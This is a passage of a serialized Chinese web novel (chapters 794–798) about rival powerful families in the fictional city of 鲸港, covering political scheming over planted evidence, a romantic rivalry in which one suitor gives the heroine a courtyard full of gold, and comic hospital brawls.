沈庄的话音刚落,沈谦猛地踏前一步,情绪激动地看着沈庄。 眼下他的政途已经毁了一半,就算勉强保住议员长的位置也不能再有作为。他现在唯一的指望就剩沈归灵和沈年了,如果他们两人都出了事,沈谦这一脉就算彻底完了。 沈兰晞一直和他不对付,沈清予又是沈渊的亲生儿子,生死关头,沈谦怎么可能放心把沈归灵交给这两人? 沈庄深吸一口气,缓了缓情绪,淡淡道:“你是国家要员,这个节骨眼出现在邻国,是巴不得人家抓不到我沈家的把柄吗?” “爸,我可以跟着去不表明身份,就算被发现,我身为阿灵和阿年的父亲,去探望自己的儿子,难道这也值得他们诟病吗?”沈谦自知理亏,但这件事事关他未来谋划,所以就算沈庄把话说到这个份上了,他还是没有退让的意思。 沈庄:“你别忘了,你还有个重病的妻子。一时间全家重病,就你活蹦乱跳,让外面这些记者怎么写?” 沈谦:“……” 沈庄眼不见为净,直接下令:“你们两个马上出发。” 沈兰晞和沈清予点了点头,转身走到厅外忽然想到什么,又折身回来看向沈庄。 沈庄读懂了他们眼里欲言又止,心里稍稍暖和了不少,摆了摆手,“去吧,老宅的事你们不必操心,只管替爷爷把人带回来。” 沈兰晞、沈清予没再犹豫,转身出了花厅。 沈庄等着沈兰晞和沈清予的身影迅速消失在廊庑尽头,才缓缓转过身。他没有立刻理会厅内各怀心思的三人,径直踱步走到花厅门前,拄杖而立。 檐外的雨已细若游丝,只余下淅淅沥沥的残响,洗过的青石板映着微弱的天光,透出几分清冷。 院中,那些久跪的族人早已筋疲力尽,衣衫狼狈,见他现身,纷纷挣扎着抬起头,脸上混杂着惶恐、疲惫与一丝卑微的期盼。 几位辈分最长的老叔伯被人搀扶着,颤巍巍地试图起身,声音干涩发颤:“家主……我们……我们知错了,往后再也不敢了!” 沈庄面无表情扫过众人,淡淡道:“今日之事,到此为止。你们先去外院厢房暂住一晚,明日一早,所有人随我一同回襄英老宅。” 此言一出,院中众人神情各异,有的松了口气,有的愈发忐忑,却无一人敢出声质疑。 他们心里都很清楚,回襄英老宅无非就是两个结果,另立宗祠亦或是另立规矩,但不管是哪个,现在也由不得他们了,端看沈庄要不要留情面了。 厅里的三人神色各异。老爷子做出的决定从不轻易改变,这个时候去襄英必然有大动作。 沈庄不再多言,最后看了一眼烟雨朦胧的庭院,转身缓步向内厅走去,将一院的沉寂与纷杂心思留在了身后。 * 与此同时,鲸港医院。 关鹤坐在病床前,手捧着三折叠智能手机,表情如地铁老爷爷,对着姜花衫的申辩视频逐帧学习。 周宴珩见他盯着屏幕眼睛都不眨,隐隐生出几分不悦,“就那么几句话,你翻来倒去听了十几遍还没记下?” “靠!”关鹤浓眉紧蹙,一脸不爽,“姜花衫不是个草包吗?她上哪抄的这么名言警句?她肯定是AI超级会员!” “谁告诉你她是草包了?” 周宴珩从关鹤手里拿过手机,垂眸看了眼屏幕里的少女一眼,暗灭了屏幕,“草包能想出让余笙‘以死明志’的高招绝地反杀?连沈兰晞都只能在旁边乖乖当个观众,你说她是草包?” “不可能!绝对不可能!姜花衫要是有这种谋略,凭着沈家的地位,她为什么不去军政学府?” 关鹤像是只破防的斗鸡,忽然炸毛,他宁愿相信是周宴珩恋爱脑把草包看成一朵花,也不愿意相信,常年考试不上榜、还得靠艺术加分的颠婆会是鲸港园中的仙姝。 周宴珩淡淡瞥了他一眼,“你别忘了,傅绥尔也在军政学府。” “你是说,姜花衫在给傅绥尔让路?” 家里若是同时出了两个军政学府的女儿,资源必然是要平分的,但如果只有傅绥尔一人,这种稀缺性必定会让资源倾斜,这个道理关鹤并非不懂。 “不能够……” 但他还是不信,摸着下巴做出一副深思熟虑的样子,“那神经病还有这觉悟?” 周宴珩忽然恍神。 其实,他也不太相信世上会有这么蠢的人。 鲸港圈几乎所有的谋划者都知道余笙已经是废棋,可姜花衫却为了一步废棋打乱了鲸港整个局面。 能布局说明她很聪明,可为废棋指路,这份聪明又显得不够理智。 但她真的不理智吗? 能把一招同时制约总统台、司法局、检察院三方,谁能有她理智? 他一直相信人都有欲念,所有人想要的生活都是可以随心所欲,偏偏这个世界已经被人为扣上了各种约定俗成的枷锁,所以一旦欲念为贪为恶为淫就会显得十恶不赦。 没有人完全没有邪念,只不过不敢袒露罢了。 可在姜花衫身上,他没有看见隐藏的邪念,这也是他最百思不得其解又心痒难耐的地方。 真的很想弄脏她。 “噢!对了!我想起来了!”关鹤忽然猛地一拍大腿,跳了起来。 周宴珩正想得出神,眉心一跳,缓缓闭上眼,“你最好是重要的事。” 关鹤瞪着一双溜圆的眼睛,“很重要,超级重要。你不是让我再仔细查查那些境外账号吗?我爸已经查了不下二十次,那账号是真的!” 周宴珩倏地抬头,目光如炬,“这么重要的事你怎么不早说!” 这还不是怪姜花衫,关鹤搔了搔头,“我爸调取了余笙提供给检察院的境外账号,你猜怎么着?竟然跟我邮箱拦截的信息不是同一批!我们手里的是能弄死余斯文的真正铁证!” …… 第794章 高端局 “没想到我有生之年还能给我们老关家立下如此汗马功劳,有了这件事,我在家里也算抬起头了,我爸就算现在死应该也能瞋目。” 关鹤满脸红光,兴奋地搓着手,在病房里来回踱步,“有了这个,我看家里谁还敢说我是纨绔!我爸这下总算能瞑目……啊不是,是含笑九泉了!” “可惜你现在不行了,不然咱们哥俩现在就可以出去摆一桌喝个痛快。” “……”周宴珩捏了捏眉心,几度欲言又止,最终从牙缝里挤出一个字:“滚。” 关鹤正说到兴头上,被这冷不丁一句砸得愣住,顶着满脑袋问号凑近,“你怎么了?心情不好?小周周真出问……啊?” 周宴珩的厌蠢症终于爆发,一把扣住关鹤的脖子,眯着眼打量他,“你就没有想过?为什么余笙给检察官的证据链出现了问题,你盗取余笙发给姜花衫的邮件,反而拿到了真正的实锤?” 关鹤被掐得咳了一声,皱起眉头认真思索。片刻后,他眼底猛地闪过一道光,终于意识到了问题所在。 “难道,余笙是故意的?”他小心翼翼观察着周宴珩的脸色,“可是她明明有证据,为什么要提供假的,这个假证据还差点害得她被立案,她到底在谋划什么?” 周宴珩皱眉,一脸嫌弃地推开他,“不是余笙,余笙没这样的手段。余斯文应该是一开始就打算把余笙推出去当替死鬼,所以,余笙手里的那份证据从始至终都是假的。” “假的?”关鹤揉了揉被掐红的胳膊,感觉脑子有些不够用,“可我手里的证据就是真的,这又怎么解释?” 他突然怔住,像是被什么击中了一样,满脸错愕地看向周宴珩:“沈家?” 见周宴珩没有反驳,关鹤立马坐直了身体,猛地拍了拍大腿,“我知道了,是沈家!沈家一开始就掌握了余斯文卖国求荣的证据,他们是故意的,他们更换了余笙的邮件,故意让我拿到了真正的证据!他们……” 话说到一半,他突然卡住了,眉头紧锁:“不对呀!他们为什么要这么做?他们想干嘛?” 周宴珩转眸望向窗外。 雷雨初歇,玻璃上蜿蜒的水痕将鲸港的璀璨灯火切割得支离破碎,光怪陆离,恰如眼前这迷局。 他忽然问了个似乎毫不相干的问题:“在围棋里,想要做活,或攻击大龙,最忌讳什么?” 关鹤一愣,下意识回答:“……棋子孤悬,被分断,各自为战?” “没错。”周宴珩斜睨了他一眼,声音低沉,“孤子易死,唯有连通,共享其气,才能形成力量。沈家这是在布局,让关家做拉余斯文下马的马前卒。” “什么意思?”关鹤虽然还是没有听懂,但也知道自己可能是中招了。 周宴珩解释道:“沈家既然能提前准备好证据,就一定知道这份证据是谁偷走的。眼下余斯文和余笙的案件成了全国瞩目的焦点,公众最关心的真相无外乎他们俩谁才是真正的卖国贼,而关家手里正好有余斯文卖国的证据,若是关家不出手,沈家势必会出手,到时候你的父亲会因为私藏证据被视作余斯文同党。” 关鹤皱了皱眉,“那当然要出手了,这可是绝佳的机会。” “没错。”周宴珩语调轻松,眼里的深意却过于沉重,“这就是沈家高明之处,有人在布局的时候就已经提前给你们规划好了落子的地方,而你们没得选择。” 关鹤抓了抓耳朵,“我不懂,关家出面既可以赢得民心,还能顺势拿下这次总统选举的票选,这怎么看都是我拿了好处啊。” 周宴珩嗤笑了一声,“愚人之智。你还不明白,这才是这局棋布局最厉害的地方,就像我们现在,明知是被摆了一道,明知证据是沈家送上门的,但也只能站出来演完这场戏。换句话说,就算你父亲最后当上总统,厉害的不是你父亲,而是沈家,因为,从‘她’布局的路数来看,她本意就是要让关家上位的,棋面遵循谁的棋意,谁才是真正的赢家。” “她?”关鹤细细斟酌了许久,好像悟出一点东西了,“你是说,沈家故意做局,以总统之位诱导关家站出来和余家硬刚?” 如此看来,这证据现在反而成了烫手山芋。 同样的证据关家和沈家都有,但沈家依旧可以藏在暗处,但关家却不能,因为沈家一定有他截取邮件的秘密,若是关家不自证,到时候被沈家反咬一口,跳进黄河都洗不清。 同样的情况,关家如果举报沈家,恰恰又透露了自己知道证据的实情。 “沈家老爷子果然老谋深算!”关鹤想明白后气得牙痒痒,“敢情他早就知道我会去偷情报?专门等着我?!” 周宴珩面无表情地看着他。 关鹤忽然腾升起一种不祥的预感,“怎么了?” 周宴珩淡淡道:“这局棋如果是沈家老爷子谋划的,那你我就可以松一口气了,毕竟是鲸港的影子总统,我们输给他不算丢脸。怕就怕在,老爷子并不知情,真正布局的另有其人。” “他人?”关鹤拧着眉头,把沈家人从头到尾想了一遍,最后锁定了一个目标,“难不成是沈兰晞?要不就是沈归灵?肯定不是沈清予,那傻逼没这脑子。” 周宴珩扯着嘴角笑了笑,一副不想搭理的样子。 关鹤看不懂,但此刻他也没心情弄懂,连忙起身告辞,“不跟你说了,我得回去跟我家老头儿商量商量。” 没等他说完,床边的手机屏幕忽然亮起,关鹤看了一眼,眼皮跳了跳,勉强装出一副镇定的样子拿起手机。 “喂~爸……” 没等他说完,电话那边的暴怒声嗡嗡袭来,关鹤眯了眯眼,把手机拿开半米远,按下扩音键,“您别激动了,咱们往好的方向想,您出手弄死余斯文,总统之位不就到手了?有了这波热度,民众对您的信任肯定水涨船高,没准以后连任都不成问题~” “你是猪脑子吗?”关楼的声音在咆哮,连周宴珩都侧过了头,“我要坐总统之位多的是办法,要不是莫名其妙给我偷一份烫手山芋,我直接被人架上去当炮灰吗?” “你知道余斯文背后的势力是谁吗?他沈家怎么不做出头鸟?真是……有句话叫什么来着!最怕蠢人灵机一动!” “……”周宴珩眼皮跳了跳,转眸看向关鹤。 暗中监察姜花衫这主意是他给关鹤出的,关楼这是在骂他。 关鹤莫名打了个冷颤,捂着手机一脸猥琐,“爸,你小声点!” “你还怕丢脸?!”关楼冷哼一声,忽然语气一转,变得凝重,“你之前说这份邮件从谁那偷的?” 关鹤想也没想,“还能有谁,就那癫婆子啊。” 关楼,“哪个癫婆子,说人话。” 关鹤,“还能有谁?姜花衫啊,怎么了?” 电话那端沉默了片刻,再开口时带着前所未有的严肃:“这件事栽了就栽了,但务必要弄清楚到底是谁在背后搞鬼,可不能被人当工具戏耍了还不知道下棋的人是谁。” 关鹤愣了愣,怎么连老头子也这么说。 他含糊点了点头,“知道了。没什么事我就挂了。” “等等。”关楼声音里多了一丝疲惫,“这件事事关关家名誉,你务必守口如瓶,半个字都不许透露,包括阿珩在内,听清楚没?” 关鹤转头看向周宴珩,又看了看屏幕的扩音按钮,斩钉截铁声音洪亮如钟:“放心吧,爸!我跟周宴珩都是假玩儿,不交心的!” 周宴珩,“……” 电话挂断的瞬间,病房里陷入一片死寂。 窗外的霓虹灯光透过水痕斑驳的玻璃,映着关鹤那张‘忠诚’的内奸脸。 …… 第795章 奔赴月光,要骄傲做什么? 夜深人静。 万籁俱寂,唯有兰园书房泄出一隅微光。 巨大的落地窗并未完全闭合,昂贵的丝绸窗帘被夜风掀起一角,窗外连接的一池秋水揽着月色的滟潋生波。 沈兰晞独自坐在宽大的扶手椅中,身影几乎与深色的皮质融为一体。他一动不动地看着桌面上那张洁白无瑕的宣纸,如同一尊没有温度的白玉雕像。 书房里弥漫着陈旧书卷和冷冽檀香混合的气息,静得能听见灯丝轻微的嗡鸣,以及更远处,池水轻叩石岸的细微声响。 近来发生的一切如碎片般掠过沈兰晞的脑海,此刻终于串联成线,一个清晰的结论浮现在他心中: ——姜花衫正在拼尽全力阻止某件事情的发生。 他太狭隘了,当初意识到时空错乱的端倪时,他最先想到的只是她在远离自己,甚至还挖空心思想着如何挽回。 直至此刻,抛却所有偏见,真正站在姜花衫的角度去审视这一切,他才惊觉,自己是多么可笑。她的目光从未狭隘地停留在某一个人身上,她所凝视的,是一个更为广阔而浩瀚的世界。 也正是因为她看见的世界不一样,所以她才会明知不可为而为之,拼尽全力替余笙争一条生路。 沈兰晞不禁又想起沁园雨中,她为他撑起伞时的每一帧画面,说过的每一句话。 他能感觉到,今日爷爷惩罚他时,姜花衫比任何时候都紧张,这种紧张明显和平时看热闹的心态完全不同。可他自认从未对爷爷的教导有过任何不满,为什么她会这么紧张? 思来想去,也就只有一种可能了。 她经历过那个“沈兰晞”与爷爷争执乃至彻底离心的全部过程,所以才会一有风吹草动就迫不及待地冲上来,她小心翼翼地安抚他,正是在试图扭转某种既定的轨迹。 一想到这,沈兰晞莫名觉得有些羞愧,虽然他极力告诉自己,那不是他,可未来的事谁又说得准呢? 还有那句话,直到现在仍然在他脑海中挥之不去: ——“沈兰晞,不要等失去以后才去珍惜,失去就是失去。” 这话里带着某种深意,他极力地想读懂。 难道未来他会失去爷爷? 但人终将失去所拥有的一切,这似乎与姜花衫想表达的意思不符。 蓦地,沈兰晞眼中掠过一丝惊愕,一个难以置信的念头击中了他。他猛地站起身,椅脚与地板摩擦发出刺耳的锐响,在寂静中格外突兀。 如果爷爷是寿终正寝,她不会用“失去”,就像她从不觉得自己失去过武太奶,因为失去在她眼里不是缅怀,是遗憾。 不是寿终正寝……那就是……遭人谋害?! 一念及此,沈兰晞只觉周身血液轰然逆流,一股冰冷的寒意自脚底窜起,瞬间攥紧了他的心脏,连指尖都泛起麻痹感。 所以…… 姜花衫千方百计、甚至不惜卷入风口漩涡也要阻止的……是爷爷的死亡? 她要救爷爷?! 沈兰晞忽然感觉自己像是抓住了某个时空的转折。他转身推开身后的木窗,怔怔望着天上那轮明月。月光如瀑般倾泻而入,从遥远的时空落在他的肩头,温柔无声。 许久后,他有些挫败地收回目光。 月光不会回应他,就像她,守着这么大的秘密,也从未想过要信任他,但他心中已经有了答案。 她那样的性格,若当真厌他入骨,何必一次次踏入沈园,周旋于这潭深水之中? 但她没有走,她一直守在这里,在此期间,她逼走了方眉,挽回了傅绥尔,唤醒了沉眠的沈眠枝,甚至……沈执与沈亦杰的死…… 倘若没有她呢? 傅绥尔或许仍困于傅家,沈娇会死,沈眠枝继续庸碌无为,沈执与沈亦杰依旧像毒蛇般潜伏在暗处。 还有今日这封关键的信函。 如果没有她从中转圜,爷爷盛怒之下,必定彻底寒了堂伯公的心,造成此生难以弥补的憾事。 她的到来,她的一切行为,仿佛都在拼命填补着某个巨大的、无声的缺憾…… 沈兰晞再也无法抑制内心的汹涌,决然转身,衣袂划破一室沉寂与月光。 奔赴月光,要骄傲做什么? …… 第796章 双向避雷 人和人之间的缘分最是玄妙,有缘千里能相会,无缘对面不识君。 当沈兰晞怀着激动忐忑的心情推开菊园的院门时,有人已经捷足先登了。 沈清予翘着二郎腿躺在竹椅上,正和姜花衫说着什么,一双薄幸的丹凤眼透着故作散漫的慵懒。 察觉到有人闯入,他眼睑微挑,深褐色的眼瞳冷冷看了过来。等看清门外站着的是谁,立马扯了扯嘴角,直接从躺椅上坐了起来。 “哟~这不是兰晞哥吗?稀客啊~你怎么有空过来?” 沈兰晞搭在门环上的手指微微收紧,青瓷般的指节在暮色里泛出冷光。沉默片刻,他缓步踏入庭院,颀长的影子拂过青石小径,带着一种沉静的压迫感。 走进花厅,他目光一扫,极其自然地拉过一张雕花玫瑰椅,坦然入座。一身剪裁精良的黑色高定西装衬得他肩线挺拔,正襟危坐的姿态与沈清予怡然自得的散漫形成了鲜明的对比。 沈兰晞将视线转向姜花衫,“爷爷让我去一趟S国,半个小时以后出发。” 姜花衫愣了愣,第一反应就是沈兰晞这家伙是不是跪傻了?以前问他回不回家里吃饭都要摆脸色,现在怎么主动跑过来跟她交代行程? 沈兰晞早就预料到了她的反应,又解释了一句,“有什么特别想要的礼物吗?到时候我一起带给你。” “什么?”姜花衫几乎以为自己听错了,下意识地侧过头,向沈清予投去一个掺杂着困惑的眼神——他今天到底怎么了? 沈清予脸上的玩味笑容淡去几分,深褐色的眼瞳里掠过一丝幽光,似笑非笑,“兰晞哥,你是不是搞错了?我们是去S国处理正事的,不是去度假购物。” 沈兰晞缓缓抬眼,目光与沈清予在空中短兵相接,忽然极轻地笑了一下,那笑意薄淡,未达眼底:“怎么?你的意思是给衫衫带礼物就不是正事。” “……” 好好好,这么玩是吧?! 沈清予脑海中莫名浮现出姜花衫冲进雨中为沈兰晞撑伞的画面。他虽然在厅内,但还是看得一清二楚,要不是当时还保持了一点理智,他差点就冲进雨里把那把伞给撕了。 一股无名火忽然从心口烧了起来,沈清予猛地转头看向姜花衫,语气几乎是咬着后槽牙挤出来的:“这冰坨子古板无趣,送的东西肯定也跟他人一样无趣!你要什么尽管跟我开口,就算是白朱拉头上那颗传世珍宝我也能买来!” “……”姜花衫被这突如其来的火气和夸张的承诺搞得一脸莫名。 沈清予比沈兰晞早到不过十分钟。那十分钟里,他只花了一分钟简短告别并说明S国之行的必要性,剩下的九分钟,全都在不遗余力地给沈兰晞“避雷”。 姜花衫实在不懂他这较的是哪门子劲,面露为难,迟疑道:“有倒是有……就怕你们不给力。” 话音一落,两道目光如实质般瞬间钉在她脸上。 “什么?”两人竟是异口同声。 姜花衫迎着他俩的视线,清晰说道:“沈归灵。你们把他带回来就行了。” 刹那间,沈兰晞下颌线绷得死紧,垂在身侧的手指尖不易察觉地微微蜷缩了一下。 沈清予眉头倏地蹙起,探究地打量着姜花衫。等了片刻,不见沈兰晞回应,他立刻抛开心中那点疑虑,应得飞快,语调里带着毫不掩饰的挑衅:“我跟某些心思深沉的人可不一样,我没什么私心。放心吧,虽然我看不上沈归灵那傻逼,但既然你和爷爷都发话了,人,我肯定给你全须全尾地带回来。”说完,还不忘朝沈兰晞扬了扬下巴。 沈兰晞眼皮都未撩一下,目光只沉沉落在姜花衫脸上,追问:“除了这个,还有什么想要的吗?” 姜花衫已然察觉到他今日异常坚持,却一时参不透这反常背后的缘由。她仔细权衡片刻,终究还是摇了摇头:“没有了。” 她其实还想加上一句“让沈年干脆死在外面别回来了”,但话滚到舌尖,又被生生咽了回去。沈兰晞终究不是沈归灵,这种混账话莫说他绝不会答应,恐怕自己还要招来一顿冷厉的训斥。 沈兰晞听见那声“没有了”,即便已经极力克制,但还是忍不住有些失落。他只能在心里安慰自己,或许沈归灵对她并没有那么重要,只是她现在在做的事需要沈归灵回来。 沈兰晞缓和了神情,点了点头,“好,我答应你。” 说着站起身,转头看向沈清予,“白朱拉王冠上的那颗不世珍宝是白家权柄的象征,古往今来只有S国的君王才能继承。就你那点碎银子,散尽家财也顶多买个冒牌货。” 沈清予脸色微变,冷笑着起身。没等他开口,沈兰晞又转头看向姜花衫,目光落回去的瞬间眼神都柔了下来,“像这种只会花言巧语、说到做不到的男人最不可信了,以后少搭理。” “……”姜花衫默默看向沈清予,完了,你避雷他的话他都听见了。 沈清予被气笑了,“沈……” 沈兰晞转过身,淡淡瞥向沈清予,抬眸间气场全开,“怎么?你不服?你别以为你借着几分小聪明打压了顾家族脉就能站着跟我说话了。别说顾家这种三流家族,就算你收拢的西湾所有资源,在我面前你还是不够看。” 话音一落,一群西装保镖手里抱着沉甸甸的木箱鱼贯而入。 他回身,眼里的锋芒也尽数藏了起来,“那把伞暂时不能还你了,作为回礼,这些你收下吧。” 姜花衫嘴角抽了抽,眼睁睁看着木箱像俄罗斯方块越叠越高。 见此情景,沈清予脸色铁青,恨不能一拳揍他脸上。 狗东西,竟然跟他来这招。 沈兰晞之所以贵重,除了沈玺,还有另一个原因——他的母亲西晴是M国功勋贵族千金,家族里只有她母亲一位小姐。西晴故去后,西家还曾生出过与沈家抢人的想法,后来还是沈兰晞亲自去了一趟M国才说服了老公爵。 沈家人费尽心思都想抢夺的家族之位,对沈兰晞不过是二选一的选择题——他要不做沈家家族,就要回去承袭西氏公爵之位。 但就是因为沈兰晞起点太高,同龄人根本无法企及,所以他几乎对自己的优势避而不谈。像今天这样以势欺人、踩着沈清予碾压,更是有生以来头一回。 见姜花衫没有说话,沈兰晞点了点头,“我走了。”说完,一个眼神都没给沈清予,转身出了院子。 沈兰晞走之后,他的保镖继续留在院子里搬箱子。 “……”姜花衫从来没有见过沈兰晞这一面,除了莫名其妙,还是莫名其妙。 “哎呀呀,这怎么都放这么多箱子,路都挡完了。” 张茹听见动静从厨房走了出来,乍见满院子的沉木箱,一时看傻了眼。 “小姐,这是什么?” 姜花衫摇了摇头,指了指其中一堆,“张妈,你打开看看。” 张茹一脸好奇,随意翻开一箱,忽然感觉一阵强光迸进了她的眼球。她眯了眯眼,片刻后捂着嘴巴回头看向姜花衫,“小姐,是黄金!这个也是黄金,这个也是!!这还有!!” 整整上百箱的金条,金灿灿、黄澄澄,连院子都照亮了。 * 第797章 冤孽啊冤孽 第二天,沈兰晞赠了姜花衫满院黄金的消息,像初秋的风一般迅速吹遍了沈园的每一个角落。 天刚亮,沈娇带着一行人踏着晨露而来。她一身墨绿色旗袍,外披浅灰色羊绒披肩,步履从容。 到底是家大业大的女王,见到那满院金光灿灿,连眉梢都未曾动一下,只轻轻抬手,身后几名管事便训练有素地开始清点搬运。 傅绥尔跟在沈娇身侧,望着眼前一座货真价实的金山,忍不住摇头咂舌,“兰晞哥可以啊,不鸣则已,一鸣惊人。” 姜花衫穿着一身基础的淡青色素裙,一张不基础的美人脸眉头紧蹙,沈兰晞是痛快了,先头疼的是她。 沈娇拍了拍傅绥尔的头,略有深意地看向姜花衫,“以兰晞的身家,这些不过九牛一毛,你放平常心就好了。” 这个姜花衫自然知道。 当初沈兰晞不想订婚,试图拿钱打动她,当时给出的条件就是三把私库的钥匙。所谓私库,就是西氏一族和沈玺为沈兰晞留下的立身根本。 但她当时脑子有泡,觉得沈兰晞是在用钱侮辱她的感情,死守着一纸婚书,反倒把那三把金钥匙丢进了金港湾。 沈娇又道:“我给你弄了个私人库房,初始密码是你的生日。这些金子使用起来不方便,我先给你存进库房。” 姜花衫顿时精神一振,一脸感激地看向沈娇。 前世她虽然衣食无忧,但值钱的东西都被方眉搜刮殆尽,以至于她对资金管理几乎一窍不通。沈娇的出现,恰好弥补了她这块短板。 虽然钱财现在对她作用不大,但对傅绥尔却至关重要。就拿每四年的总统大选来说,能参与的竞选者背后都有资本支撑,而以资本抗衡资本就需要更大的资源,不然余斯文也不会走上叛国这条路。 以后的事谁都说不准,女孩子多留点钱财傍身总是没错。 院子里的黄金刚被搬空,姜花衫便急着赶往沁园去见沈庄。沈兰晞这份礼送得太过高调,她拿不准老爷子会是什么态度。 沈庄正要出门,一行人恰好在青石小径上遇上了。老人一身深灰色中山装,精神矍铄,沈谦、沈渊、沈让小心翼翼跟在身后。 姜花衫打量了众人一眼,快步上前,“爷爷,您要去襄英?” “嗯。”沈庄朝她招手,目光慈祥,“事情总要解决,宜早不宜迟。怎么?找爷爷有事?” 姜花衫点头,稍作犹豫后开口:“兰晞哥送了我一院子黄金,无功不受禄,我心中不安,特来向您请教。” 沈庄清晨便已听家中佣人谈及此事,只不在意地摆摆手,“那小子有钱,你不必替他心疼。既然给了,就安心收着。” 老人笑了笑,连同眼角的皱纹也舒展开来。 一直静立身后的沈谦垂眸不语,目光却几不可察地沉了沉。 沈兰晞这是装都不装了?殷勤都献到老爷子面前了,若真让大房与三房联了手,往后沈渊哪还有他立足之地? 念此,他指节微紧,眼底掠过一丝晦暗不明的光。 * 另一边,苏韵在余笙的病床前守了一夜,天不亮回家简单洗漱一番,立马又赶去了医院。 苏敬琉站在阳台上,看着苏韵忙碌但带着朝气的笑容,沉默了许久,回头望向正静坐于茶台前的苏莘,语气里带着几分不解:“你说这些孩子脑子里都在想什么?” 苏莘执壶斟茶的动作微微一顿。 他抬起眼,目光越过栏杆,投向正逐渐明亮起来的天际,声音温和:“无非是友谊、梦想、人生价值……诸如此类吧。” 苏敬琉没好气地瞪了儿子一眼,几步走到茶台前,一把夺过苏莘刚斟好的茶杯,“这些虚头巴脑的东西能当饭吃?” “不能。”苏莘沉吟片刻,唇边浮起一丝清淡的笑意,“但精神上的富足,又何尝不是一种富足。” 他顿了顿,迎上父亲的目光,语气平稳地说道:“爸,阿韵早上来找过我,请我在国会议案期间推动延迟开庭时间。我答应了。” 苏敬琉乜了他一眼,阴阳怪气道:“都答应了还跟我说个屁。” 苏莘深知老父亲的性子,并不辩解,只是从容起身,朝苏敬琉深深鞠了一躬,随即转身离开了阳台。 待人走后,苏敬琉盯着手中微漾的茶汤,静默片刻,忽然“砰”地一声将茶盏重重放下。 “苏管家!”他扬声喊道。 “在。”一直候在不远处的苏管家立刻推门而入,快步走到老人跟前,“老爷子您有什么吩咐?” “去,把电话拿来。”苏敬琉语气斩钉截铁,“我要亲自给周老匹夫打个电话。” 苏管家:“……” * 鲸和医院。 苏韵从特殊通道进入住院部,经过回廊时往窗外看了一眼,也不知道是不是她的错觉,不仅是在外蹲点的记者,就连警署厅的警卫人员也比昨天多了一倍不止。 她一直谨记姜花衫的叮嘱,这次回去还特意带了换洗的衣服,她打算在余笙没有彻底脱离危险之前,先暂时住在医院。 走到病房门口,苏韵习惯性地先透过观察窗望去,这一望,让她浑身血液几乎瞬间冻结。 她甚至来不及细想,身体已经先一步行动,猛地推开房门冲了进去,用自己都未曾预料到的尖利声音喝道:“你干什么!离她远点!” 关鹤正低着头观察余笙的情况,见她躺在那半死不活,刚伸出一只手打算探探她的鼻息,冷不丁眼前扑过一道黑影,拽着他的头发往后一推,脖子差点没被拧断。 “艹!” 关鹤再菜也是军政学府的,突然被攻击,身体下意识作出反击自卫。 苏韵哪能快得过他,一肘横击,反被直接扇飞撞上了病床的铁柱。 “你他妈不长……” 关鹤原本还不打算罢手,回头一看竟然是苏韵,整个人都呆住了,骂人的话到嘴边也咽了回去,“怎……怎么是你?” …… 第798章 棍棒底下出孝子 苏韵皱了皱眉,指尖刚碰到伤口,猩红的血水顺着脸颊滑落。 “你……你没事吧?” 关鹤瞳孔猛地一缩,脸上闪过一丝罕见的慌乱。他下意识地上前一步,伸手想去扶她。 “别碰我!”苏韵猛地挥开关鹤的手,声音因疼痛和愤怒而微微发颤。 她后背撞在冰冷的铁柱上,传来一阵尖锐的痛感,但她也顾不上了,只能用手肘支撑着身体,艰难却又无比迅速地重新挡在余笙的病床前。 “你怎么进来的?你想做什么?” 余笙像一头誓死守护领地的小兽,眼神里充满了戒备和敌意。 关鹤看着苏韵眼里的敌意,有些烦躁地皱了皱眉,“我来掐死她的,你满意?” 闻言,苏韵神情慌张,立马爬起身检查余笙的状况,确认她安然无恙后才松了一口气,扭头瞪着关鹤,“你最好现在就滚,不然别怪我对你不客气。” 关鹤被她这副模样气着了,双手抱胸,“我就不走,你怎么不客气?” 苏韵二话不说,从包里翻出手机,“喂,警署厅吧?我要报警,有人……” 关鹤脸色一变,这事要是被家里的老头知道,他的好日子就彻底没了。他猛地上前一步,劈手便要去夺苏韵的手机。 “误会,你听我说……” 苏韵根本不给他机会,两人正争执拉扯间,“砰”地一声巨响,病房门被人从外面狠狠踹开! 一道挺拔劲瘦的身影裹挟着怒火疾冲而入。 苏灼目光如电,看着关鹤‘压’在苏韵身上,苏韵脸颊带血,狼狈不堪,双手被关鹤紧紧攥着,饶是他脾气再好此刻也忍不住爆发了! “关鹤!你他妈找死!” 苏灼眼底瞬间猩红,根本不给任何解释的机会,如猎豹般扑了上去!他一把揪住关鹤的衣领,借着冲力狠狠将人掼向墙壁! 关鹤猝不及防,后背重重撞上墙面,发出一声闷哼。 “艹!苏灼……” 他刚想开口,苏灼一记狠厉的拳头已经裹着风声砸向他的腹部! “呃!”关鹤痛得弯下腰,胃里翻江倒海。 苏灼却毫不留情,紧接着又是一记勾拳狠狠砸在他的下颌骨上!关鹤此刻也被打出了脾气,懒得再解释,扭过身直接和苏灼对打了起来。 * 半个小时后。 “嘶~~~哈~~~~~斯哈~!!” 周宴珩不堪其扰,面无表情地合上手里那本精装版《君主论》,指尖轻轻敲打着书脊上烫金的纹路,转头打量关鹤。 此刻的关鹤异常狼狈,脸颊红肿高低不平,嘴角破皮处贴着创可贴,一边骂骂咧咧一边敷着冰袋。 周宴珩的目光在他脸上停留了两秒,眉梢都未曾动一下,淡淡开口,“你不是说去看看余笙死了没,怎么把自己看成这样?” 关鹤一听这话,火气“噌”地就上来了,也顾不上脸上的疼,张口就想把苏灼的祖宗十八代都问候一遍。 可话到了嘴边,脑海里却不受控制地闪过苏韵额头淌血死死护在余笙床前的样子,那股邪火莫名就泄了几分。 “……艹,你别管了,今天算我倒霉。” 闻言,周宴珩重新拿起那本《君主论》,慢条斯理地翻到刚才看的那一页继续看书。 见周宴珩当真一副事不关己的冷漠样子,关鹤僵在原地,“喂!我都这样了,你好歹……” 没等他说完—— “砰——!” 一声更甚之前的巨响猛地炸开,厚重的实木房门被人从外面一脚狠狠踹开,猛地撞在墙上。 关楼满身的怒火,一步跨入房间,目光阴沉地打量着关鹤,“臭小子!我昨天怎么叮嘱你的?你把我的话当耳旁风了是不是?你看我今天不打死你?” 说罢,举起一根不知从哪弄来的钢棒对着关鹤冲了过去。 “!”关鹤吓得立马从椅子上跳了起来,“爸,冷静点!?” 乔金锦跟了关楼一路,见情况不妙,帮着关鹤掩护,“伯父,有什么话您好好说,打死了您就没儿子了。” “这么混账的东西,我不要也罢。” 关楼老来得子,以前不管关鹤闯多大的祸,只要一用这招保管药到病除,没想到现在竟然不灵了! 眼看着拇指粗的钢筋从头上砸下,乔金锦和关鹤眼皮直跳,赶紧跳开。 “爸!你干嘛啊!没看见我还受伤吗?” 